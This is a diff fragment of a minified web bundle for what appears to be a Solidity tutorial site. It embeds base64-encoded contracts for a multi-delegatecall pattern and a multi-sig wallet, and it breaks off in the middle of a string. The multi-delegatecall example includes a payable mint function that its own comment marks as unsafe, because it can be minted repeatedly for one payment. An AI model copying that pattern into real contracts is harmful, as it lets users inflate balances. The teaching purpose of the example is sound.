            +`,Ku=({prev:s,next:a})=>r.jsx(u,{version:Xu,title:vu,description:Nu,html:Fu,prev:s,next:a,codes:Hu}),Su="0.8.24",Mu="Multi Delegatecall",xu="An example of contract to call multiple functions in a single transaction",Ju=[{fileName:"MultiDelegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpRGVsZWdhdGVjYWxsIHsKICAgIGVycm9yIERlbGVnYXRlY2FsbEZhaWxlZCgpOwoKICAgIGZ1bmN0aW9uIG11bHRpRGVsZWdhdGVjYWxsKGJ5dGVzW10gbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkgcmVzdWx0cykKICAgIHsKICAgICAgICByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IGRhdGEubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gYWRkcmVzcyh0aGlzKS5kZWxlZ2F0ZWNhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIGlmICghb2spIHsKICAgICAgICAgICAgICAgIHJldmVydCBEZWxlZ2F0ZWNhbGxGYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXN1bHRzW2ldID0gcmVzOwogICAgICAgIH0KICAgIH0KfQoKLy8gV2h5IHVzZSBtdWx0aSBkZWxlZ2F0ZWNhbGw/IFdoeSBub3QgbXVsdGkgY2FsbD8KLy8gYWxpY2UgLT4gbXVsdGkgY2FsbCAtLS0gY2FsbCAtLS0+IHRlc3QgKG1zZy5zZW5kZXIgPSBtdWx0aSBjYWxsKQovLyBhbGljZSAtPiB0ZXN0IC0tLSBkZWxlZ2F0ZWNhbGwgLS0tPiB0ZXN0IChtc2cuc2VuZGVyID0gYWxpY2UpCmNvbnRyYWN0IFRlc3RNdWx0aURlbGVnYXRlY2FsbCBpcyBNdWx0aURlbGVnYXRlY2FsbCB7CiAgICBldmVudCBMb2coYWRkcmVzcyBjYWxsZXIsIHN0cmluZyBmdW5jLCB1aW50MjU2IGkpOwoKICAgIGZ1bmN0aW9uIGZ1bmMxKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCB7CiAgICAgICAgLy8gbXNnLnNlbmRlciA9IGFsaWNlCiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgImZ1bmMxIiwgeCArIHkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGZ1bmMyKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIG1zZy5zZW5kZXIgPSBhbGljZQogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJmdW5jMiIsIDIpOwogICAgICAgIHJldHVybiAxMTE7CiAgICB9CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgLy8gV0FSTklORzogdW5zYWZlIGNvZGUgd2hlbiB1c2VkIGluIGNvbWJpbmF0aW9uIHdpdGggbXVsdGktZGVsZWdhdGVjYWxsCiAgICAvLyB1c2VyIGNhbiBtaW50IG11bHRpcGxlIHRpbWVzIGZvciB0aGUgcHJpY2Ugb2YgbXNnLnZhbHVlCiAgICBmdW5jdGlvbiBtaW50KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdICs9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEZ1bmMxRGF0YSh1aW50MjU2IHgsIHVpbnQyNTYgeSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoVGVzdE11bHRpRGVsZWdhdGVjYWxsLmZ1bmMxLnNlbGVjdG9yLCB4LCB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRGdW5jMkRhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo="}],zu=`

            An example of calling multiple functions with a single transaction, using delegatecall.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2225,7 +2225,7 @@ How to swap tokens
         return abi.encodeWithSelector(TestMultiDelegatecall.mint.selector);
     }
 }
-
            `,zu=({prev:s,next:a})=>r.jsx(u,{version:Ku,title:Su,description:Mu,html:Ju,prev:s,next:a,codes:xu}),Eu="0.8.24",Uu="Multi-Sig Wallet",Tu="An example of multi-sig wallet in Solidity",Qu=[{fileName:"MultiSigWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQsIHVpbnQyNTYgYmFsYW5jZSk7CiAgICBldmVudCBTdWJtaXRUcmFuc2FjdGlvbigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsCiAgICAgICAgdWludDI1NiBpbmRleGVkIHR4SW5kZXgsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIHRvLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgYnl0ZXMgZGF0YQogICAgKTsKICAgIGV2ZW50IENvbmZpcm1UcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IFJldm9rZUNvbmZpcm1hdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IEV4ZWN1dGVUcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKCiAgICBhZGRyZXNzW10gcHVibGljIG93bmVyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNPd25lcjsKICAgIHVpbnQyNTYgcHVibGljIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZDsKCiAgICBzdHJ1Y3QgVHJhbnNhY3Rpb24gewogICAgICAgIGFkZHJlc3MgdG87CiAgICAgICAgdWludDI1NiB2YWx1ZTsKICAgICAgICBieXRlcyBkYXRhOwogICAgICAgIGJvb2wgZXhlY3V0ZWQ7CiAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zOwogICAgfQoKICAgIC8vIG1hcHBpbmcgZnJvbSB0eCBpbmRleCA9PiBvd25lciA9PiBib29sCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpKSBwdWJsaWMgaXNDb25maXJtZWQ7CgogICAgVHJhbnNhY3Rpb25bXSBwdWJsaWMgdHJhbnNhY3Rpb25zOwoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKGlzT3duZXJbbXNnLnNlbmRlcl0sICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIHR4RXhpc3RzKHVpbnQyNTYgX3R4SW5kZXgpIHsKICAgICAgICByZXF1aXJlKF90eEluZGV4IDwgdHJhbnNhY3Rpb25zLmxlbmd0aCwgInR4IGRvZXMgbm90IGV4aXN0Iik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciBub3RFeGVjdXRlZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghdHJhbnNhY3Rpb25zW190eEluZGV4XS5leGVjdXRlZCwgInR4IGFscmVhZHkgZXhlY3V0ZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG5vdENvbmZpcm1lZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggYWxyZWFkeSBjb25maXJtZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludDI1NiBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMAogICAgICAgICAgICAgICAgJiYgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiAgICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oYWRkcmVzcyBfdG8sIHVpbnQyNTYgX3ZhbHVlLCBieXRlcyBtZW1vcnkgX2RhdGEpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgdWludDI1NiB0eEluZGV4ID0gdHJhbnNhY3Rpb25zLmxlbmd0aDsKCiAgICAgICAgdHJhbnNhY3Rpb25zLnB1c2goCiAgICAgICAgICAgIFRyYW5zYWN0aW9uKHsKICAgICAgICAgICAgICAgIHRvOiBfdG8sCiAgICAgICAgICAgICAgICB2YWx1ZTogX3ZhbHVlLAogICAgICAgICAgICAgICAgZGF0YTogX2RhdGEsCiAgICAgICAgICAgICAgICBleGVjdXRlZDogZmFsc2UsCiAgICAgICAgICAgICAgICBudW1Db25maXJtYXRpb25zOiAwCiAgICAgICAgICAgIH0pCiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBTdWJtaXRUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCB0eEluZGV4LCBfdG8sIF92YWx1ZSwgX2RhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgICAgIG5vdENvbmZpcm1lZChfdHhJbmRleCkKICAgIHsKICAgICAgICBUcmFuc2FjdGlvbiBzdG9yYWdlIHRyYW5zYWN0aW9uID0gdHJhbnNhY3Rpb25zW190eEluZGV4XTsKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zICs9IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gdHJ1ZTsKCiAgICAgICAgZW1pdCBDb25maXJtVHJhbnNhY3Rpb24obXNnLnNlbmRlciwgX3R4SW5kZXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGVUcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0KICAgICAgICAgICAgdHJhbnNhY3Rpb24udG8uY2FsbHt2YWx1ZTogdHJhbnNhY3Rpb24udmFsdWV9KHRyYW5zYWN0aW9uLmRhdGEpOwogICAgICAgIHJlcXVpcmUoc3VjY2VzcywgInR4IGZhaWxlZCIpOwoKICAgICAgICBlbWl0IEV4ZWN1dGVUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCBfdHhJbmRleCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV2b2tlQ29uZmlybWF0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdHhFeGlzdHMoX3R4SW5kZXgpCiAgICAgICAgbm90RXhlY3V0ZWQoX3R4SW5kZXgpCiAgICB7CiAgICAgICAgVHJhbnNhY3Rpb24gc3RvcmFnZSB0cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uc1tfdHhJbmRleF07CgogICAgICAgIHJlcXVpcmUoaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggbm90IGNvbmZpcm1lZCIpOwoKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zIC09IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gZmFsc2U7CgogICAgICAgIGVtaXQgUmV2b2tlQ29uZmlybWF0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRPd25lcnMoKSBwdWJsaWMgdmlldyByZXR1cm5zIChhZGRyZXNzW10gbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG93bmVyczsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUcmFuc2FjdGlvbkNvdW50KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFRyYW5zYWN0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"TestContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50MjU2IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50MjU2IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K"}],Du=`

            Let's create an multi-sig wallet. Here are the specifications.

            +`,Eu=({prev:s,next:a})=>r.jsx(u,{version:Su,title:Mu,description:xu,html:zu,prev:s,next:a,codes:Ju}),Du="0.8.24",Tu="Multi-Sig Wallet",Uu="An example of multi-sig wallet in Solidity",Qu=[{fileName:"MultiSigWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQsIHVpbnQyNTYgYmFsYW5jZSk7CiAgICBldmVudCBTdWJtaXRUcmFuc2FjdGlvbigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsCiAgICAgICAgdWludDI1NiBpbmRleGVkIHR4SW5kZXgsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIHRvLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgYnl0ZXMgZGF0YQogICAgKTsKICAgIGV2ZW50IENvbmZpcm1UcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IFJldm9rZUNvbmZpcm1hdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IEV4ZWN1dGVUcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKCiAgICBhZGRyZXNzW10gcHVibGljIG93bmVyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNPd25lcjsKICAgIHVpbnQyNTYgcHVibGljIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZDsKCiAgICBzdHJ1Y3QgVHJhbnNhY3Rpb24gewogICAgICAgIGFkZHJlc3MgdG87CiAgICAgICAgdWludDI1NiB2YWx1ZTsKICAgICAgICBieXRlcyBkYXRhOwogICAgICAgIGJvb2wgZXhlY3V0ZWQ7CiAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zOwogICAgfQoKICAgIC8vIG1hcHBpbmcgZnJvbSB0eCBpbmRleCA9PiBvd25lciA9PiBib29sCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpKSBwdWJsaWMgaXNDb25maXJtZWQ7CgogICAgVHJhbnNhY3Rpb25bXSBwdWJsaWMgdHJhbnNhY3Rpb25zOwoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKGlzT3duZXJbbXNnLnNlbmRlcl0sICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIHR4RXhpc3RzKHVpbnQyNTYgX3R4SW5kZXgpIHsKICAgICAgICByZXF1aXJlKF90eEluZGV4IDwgdHJhbnNhY3Rpb25zLmxlbmd0aCwgInR4IGRvZXMgbm90IGV4aXN0Iik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciBub3RFeGVjdXRlZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghdHJhbnNhY3Rpb25zW190eEluZGV4XS5leGVjdXRlZCwgInR4IGFscmVhZHkgZXhlY3V0ZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG5vdENvbmZpcm1lZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggYWxyZWFkeSBjb25maXJtZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludDI1NiBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMAogICAgICAgICAgICAgICAgJiYgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiAgICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oYWRkcmVzcyBfdG8sIHVpbnQyNTYgX3ZhbHVlLCBieXRlcyBtZW1vcnkgX2RhdGEpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgdWludDI1NiB0eEluZGV4ID0gdHJhbnNhY3Rpb25zLmxlbmd0aDsKCiAgICAgICAgdHJhbnNhY3Rpb25zLnB1c2goCiAgICAgICAgICAgIFRyYW5zYWN0aW9uKHsKICAgICAgICAgICAgICAgIHRvOiBfdG8sCiAgICAgICAgICAgICAgICB2YWx1ZTogX3ZhbHVlLAogICAgICAgICAgICAgICAgZGF0YTogX2RhdGEsCiAgICAgICAgICAgICAgICBleGVjdXRlZDogZmFsc2UsCiAgICAgICAgICAgICAgICBudW1Db25maXJtYXRpb25zOiAwCiAgICAgICAgICAgIH0pCiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBTdWJtaXRUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCB0eEluZGV4LCBfdG8sIF92YWx1ZSwgX2RhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgICAgIG5vdENvbmZpcm1lZChfdHhJbmRleCkKICAgIHsKICAgICAgICBUcmFuc2FjdGlvbiBzdG9yYWdlIHRyYW5zYWN0aW9uID0gdHJhbnNhY3Rpb25zW190eEluZGV4XTsKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zICs9IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gdHJ1ZTsKCiAgICAgICAgZW1pdCBDb25maXJtVHJhbnNhY3Rpb24obXNnLnNlbmRlciwgX3R4SW5kZXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGVUcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0KICAgICAgICAgICAgdHJhbnNhY3Rpb24udG8uY2FsbHt2YWx1ZTogdHJhbnNhY3Rpb24udmFsdWV9KHRyYW5zYWN0aW9uLmRhdGEpOwogICAgICAgIHJlcXVpcmUoc3VjY2VzcywgInR4IGZhaWxlZCIpOwoKICAgICAgICBlbWl0IEV4ZWN1dGVUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCBfdHhJbmRleCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV2b2tlQ29uZmlybWF0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdHhFeGlzdHMoX3R4SW5kZXgpCiAgICAgICAgbm90RXhlY3V0ZWQoX3R4SW5kZXgpCiAgICB7CiAgICAgICAgVHJhbnNhY3Rpb24gc3RvcmFnZSB0cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uc1tfdHhJbmRleF07CgogICAgICAgIHJlcXVpcmUoaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggbm90IGNvbmZpcm1lZCIpOwoKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zIC09IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gZmFsc2U7CgogICAgICAgIGVtaXQgUmV2b2tlQ29uZmlybWF0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRPd25lcnMoKSBwdWJsaWMgdmlldyByZXR1cm5zIChhZGRyZXNzW10gbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG93bmVyczsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUcmFuc2FjdGlvbkNvdW50KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFRyYW5zYWN0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhb